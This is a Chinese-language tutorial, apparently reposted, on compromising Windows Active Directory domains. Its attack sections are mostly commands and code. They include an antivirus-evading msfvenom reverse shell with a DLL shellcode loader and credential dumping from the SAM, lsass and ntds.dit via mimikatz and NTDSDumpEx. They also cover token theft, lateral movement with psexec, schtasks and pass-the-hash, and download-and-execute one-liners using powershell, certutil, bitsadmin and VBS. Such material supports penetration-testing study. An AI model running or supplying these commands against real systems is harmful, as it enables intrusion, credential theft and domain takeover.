內網滲透之域滲透


1.初識域環境

什么是域

域是計算機網絡的一種形式,其中所有用戶帳戶 ,計算機,打印機和其他安全主體都在位於稱為域控制器的一個或多個中央計算機集群上的中央數據庫中注冊。 身份驗證在域控制器上進行。 在域中使用計算機的每個人都會收到一個唯一的用戶帳戶,然后可以為該帳戶分配對該域內資源的訪問權限。 域(Domain)是將網絡中多台計算機邏輯上組織到一起,進行集中管理,這種區別於工作組的邏輯環境叫做域。

域控

在一台機器上安裝上活動目錄(Active Directory)以后,這個機器就被成為域控。 在一個域中,可能存在多個域控,這些域控不分主域控制器與備份域控制器,每個域控制器充當的是一樣的角色,比如你有三個域控制器,你可以在任何一個域控制器上對用戶的權限進行修改,你的修改將被復制到其他兩個域控制器中,這樣,如果一個域控制器發生了故障,只要其他的域控還能正常工作,整個域還是可以正常運行。

活動目錄(Active Directory)

Active Directory存儲了有關網絡對象的信息,並且讓管理員和用戶能夠輕松查找和使用這些信息,這些對象可以是用戶、組群,計算機,控制站、郵件,配置文件,組織單元,樹洗等等。

域用戶

在域環境下使用的用戶,其用戶名和密碼需要到域控制器上進行驗證,驗證通過后域用戶可以在域內的任何一台機器上進行登錄。但是域用戶只是一個普通用戶,只能登錄到域內機器上進行查看,不能做任何的修改。

域管

域管理員可以登錄到域控制器上,對一切權限進行控制,比如對域內任何一台機器的權限進行修改,域管理員有權對域內所有機器下發任何任務或者策略,它對域具有絕對的控制權。

組(gurup)

公司內很多的員工的權限都是相同的,這是因為域管理員對域內的用戶進行了分組,即將不同的用戶放入不同的分組里,然后對組進行了權限設置,這樣就避免了管理員需要對每個用戶單獨進行權限分配的麻煩。

信任域(trust)

在實際的情況下,在一個大公司下面又會有一些子公司,這樣就造成了母公司一個域,子公司單獨又有一個域的情況,那么怎么將母公司的域與子公司的域聯系起來呢?我們可以在它們之間建立起一種信任(trust)的關系,如果母公司的域賬戶想要登錄子公司的域中,那么子公司的域就要對母公司的域建立信任關系。當母公司的域賬戶想要登錄到子公司的域中時,子公司的域由於信任母公司的域,所以子公司的域會聽從母公司的域的域控制器的返回的access key。由於母公司的域對子公司的域沒有建立信任關系,所以子公司的域賬戶是不能登錄到母公司的域中的。

/domain_trusts 查看受信任的域列表,我們通常會利用域的信任關系進行域內橫向滲透來擴大戰果。

2.域信息收集

1.nltest信任域

nltest是2003之后的系統自帶的工具,一般來說域控都搭建在主dns服務器上,因為他要進行域名解析。 我們可以nltest在工作組里進行查詢,查詢內網里是否存在域環境。

1.查找域控

ifconfig /all

2.查找信任域

nltest /domain_trusts /all_trusts /v /server:192.168.0.130

3.查找信任域所對應的IP

nltest /dsgetdc:XXXXXX /server:192.168.0.130

 4.nltest命令:
參考:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)
https://blog.csdn.net/weixin_34377065/article/details/85597188

2.域信息收集

1.csvde

csvde是windows server 2008的內置命令行工具,位於%windir%/system32目錄下。
如果你安裝了AD DS或Active Directory輕型目錄服務(AD LDS)服務器角色,則此功能可用。

該工具適用於:

  • windows server 2003
  • windows server 2008
  • windows server 2003 R2
  • windows server 2008 R2
  • windows server 2012
csvde -setspn payload -f C:\windows\temp\payload.csv

查看payload.csv
LDAP的存儲規則(類似於一個數據庫),用來存儲域相關信息。

  • 區分名(DN,Distinguished Name)一個條目的區分名稱叫做“dn”或者叫做區分名。在一個目錄中這個名稱總是唯一的。
  • CN=Common Name 為用戶名或服務器名,最長可以到80個字符,可以為中文;
  • OU=Organization Unit為組織單元,最多可以有四級,每級最長32個字符,可以為中文;
  • O=Organization 為組織名,可以3—64個字符長
  • C=Country為國家名,可選,為2個字符長

2.setspn

SPN 官方名稱為“服務主體名稱”,本質上存儲的是域內各種服務資源的對應關系。 如,對應的服務類型叫什么,機器名是什么,服務端口號是多少等等。 我們借助SPN可以快速定位當前目標域中所有存活的各類主機。

setspn -T payload -Q */*

setspn -T payload -Q */* | findstr SQL

通過上面收集到的主機信息,我們就可以使用域管理員賬戶去登錄各目標系統進行查看。 

3.dnsdump

https://github.com/dirkjanm/adidnsdump
dnsdump -u 域名\域用戶 -p 域密碼 域控服務器名

dnsdump -u payload\Micr067 -p admin@123 WIN-DC.payload.com

https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1

Powershell -ep bypass -f dns-dump.ps1 -zone payload.com
4.net
net user /domain 獲取域用戶列表 net group "domain admins" /domain 獲取域管理員列表 net group "domain controllers" /domain 查看域控制器(如果有多台) net group "domain computers" /domain 查看域機器 net group /domain 查詢域里面的組

    

5.net view
Net view 查看同一域內機器列表 net view \\ip 查看某IP共享 Net view \\GHQ 查看GHQ計算機的共享資源列表 net view /domain 查看內網存在多少個域 Net view /domain:XYZ 查看XYZ域中的機器列表

6.nbtscan
nbtscan.exe 192.168.0.1/24 DC 是域控服務器

3.域滲透思路

橫向滲透---權限維持---抓取密碼(獲取域用戶賬號密碼)---域信息收集---獲取域管權限---拿下域控

1.弱口令爆破

超級弱口令工具 https://github.com/shack2/SNETCracker

2.dll加載shellcode免殺上線
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=1521 LHOST=192.168.245.129 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp_uuid msf > set lhost 192.168.245.129 msf > set lport 1521 msf > set EnableStageEncoding true msf > set StageEncoder x86/fnstenv_mov msf > exploit

將c程序編譯為dll文件,在目標機器上運行即可。

#include <Windows.h> extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow) { MessageBox(NULL,L"_Title_",L"Hello",MB_OK); unsigned char buf[] = "........替換生成的shellcode..........."; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return; }
3.注冊表讀取密碼

// 獲取注冊表信息

reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv reg save HKLM\SAM c:\windows\temp\Sam.hiv

// mimikatz運行解密命令

lsadump::sam /sam:Sam.hiv /system:Sys.hiv

5.Dump lsass進程內存獲取hash
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp

// 在mimikatz中運行,結果保存在日志里

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

6.LaZagne讀取密碼。

項目地址:https://github.com/AlessandroZ/LaZagne

LaZagne.exe all 執行所有模塊,獲取全部密碼信息

7.利用token復制獲取system權限
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

8.憑證竊取

通過tasklist /v查看進程用戶,如果有域用戶啟的進程,則可以竊取域管憑證

查看本地保存的憑證,可以看到有域管理員的憑證存在  成功竊取到域管理員的憑證,利用竊取的憑證我們可以查看域控上的保存的服務資源。 

4.命令行滲透

  1. 遠程登陸桌面增加暴露風險
  2. 目標管理員可能禁用對服務器遠程登陸。
1.IPC$

建立ipc連接之后就可以訪問目標機器的文件,可以進行上傳、下載等操作,也可以在目標機器上運行命令。上傳下載使用copy命令。

  • 先建立IPC連接
    net use \\192.168.245.130 /u:payload\administrator

  • 復制文件到目標
    copy shell.msi \\192.168.245.130\C$

  • 復制目標機器文件到本地
    copy \\192.168.52.2\C$\shell.msi

2.sc計划任務
• sc /create /tn task1 /U 域\域用戶 /P 域用戶密碼 /tr 執行的命令或者bat路徑 /sc ONSTART /s 域機器IP /RU system • sc /run /tn task1 /s 域機器IP /U 域\域用戶 /P 域用戶密碼 • sc /F /delete /tn task1 /s 域機器IP /U 域\域用戶 /P 域用戶密碼
schtasks /create /tn task1 /U payload\administrator /P qwer1234! /tr "c:\windows\system32\cmd.exe /c net user > c:\\windows\\temp\\1.txt" /sc ONSTART /s 192.168.245.130 /RU system schtasks /Run /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234! schtasks /F /delete /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234! type \\192.168.245.130\C$\windows\temp\1.txt

3.psexe獲取system權限
使用psexec之前先建立IPC連接
• net use \\192.168.245.130 /u:payload\administrator • PsExec.exe \\192.168.245.130 -s cmd.exe -accepteula • –accepteula 第一次運行會彈框,輸入這個參數便不會彈框。 • -s 以 “nt authority\system” 權限運行遠程進程 成功返回域控服務器system權限的命令行

4.hash傳遞

工具下載:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

psexec.exe -hashes :用戶Hash 域名/用戶名@目標IP psexec.exe -hashes :6912928308e3cda903e6d75bd6091a20 payload/administrator@192.168.245.130
5.windows命令行下載文件
  • powershell
    powershell (new-object Net.WebClient).DownloadFile('http://192.168.245.132/a.ps1','D:\phpstudy\WWW\a.ps1')

    適用於windows 7以上版本。

  • certutil
    certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll msg.dll certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll delete

    certutil適用於server 2003以上版本 詳情參考: https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN

  • Bitadmin
    bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.245.132/b.ps1" "D:\\phpstudy\\WWW\\b.ps1"

    Bitadmin適用於windows 7以上版本。 詳情參考: https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN

  • vbs
    第一種,直接echo輸入download.vbs。
    echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://192.168.245.132/a.ps1",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

    第二種,保存腳本后再下載指定文件。

    echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://192.168.245.132/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
  • Windows下載執行命令大全:
    https://xz.aliyun.com/t/1654#toc-6
6.獲取內網代理

內網有些資源需要指定的代理才能訪問,我們可以通過讀取注冊表信息查找代理IP和端口信息。
注冊表查看IE代理

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
7.windows API利用
  • 工具使用前提先需要建立IPC連接
  • NetGroupGetUsers.exe:查詢目標服務器本地管理組的成員
  • NetLocalGroupGetMembers.exe:查詢域里的各個組里的成員,IP必須是域控IP,域用戶隨意
  • NetUserEnum.exe:查詢目標服務器所有用戶,包括隱藏用戶
8.導域hash
  • windows的密碼以hash的形式存儲在SAM文件中的。
  • 域里面存儲信息的數據庫文件:c:\windows\ntds\ntds.dit
  • ntds.dit其實就是個數據庫,微軟本身就有一系列的文檔化api能夠操作這個數據庫,鏈接是: https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx。
    使用創建快照的方式導出ntds.dit文件
  • 創建快照
    ntdsutil snapshot "activate instance ntds" create quit quit

  • 掛載快照
    ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
  • 復制ntds.dit
    copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

  • 卸載快照
    ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
  • 刪除快照
    ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit

  • 獲取key
    reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv

    使用NTDSDumpEx獲取所有域用戶的Hash

    NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h

    NTDSDumpEx.exe下載地址:https://github.com/zcgonvh/NTDSDumpEx

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM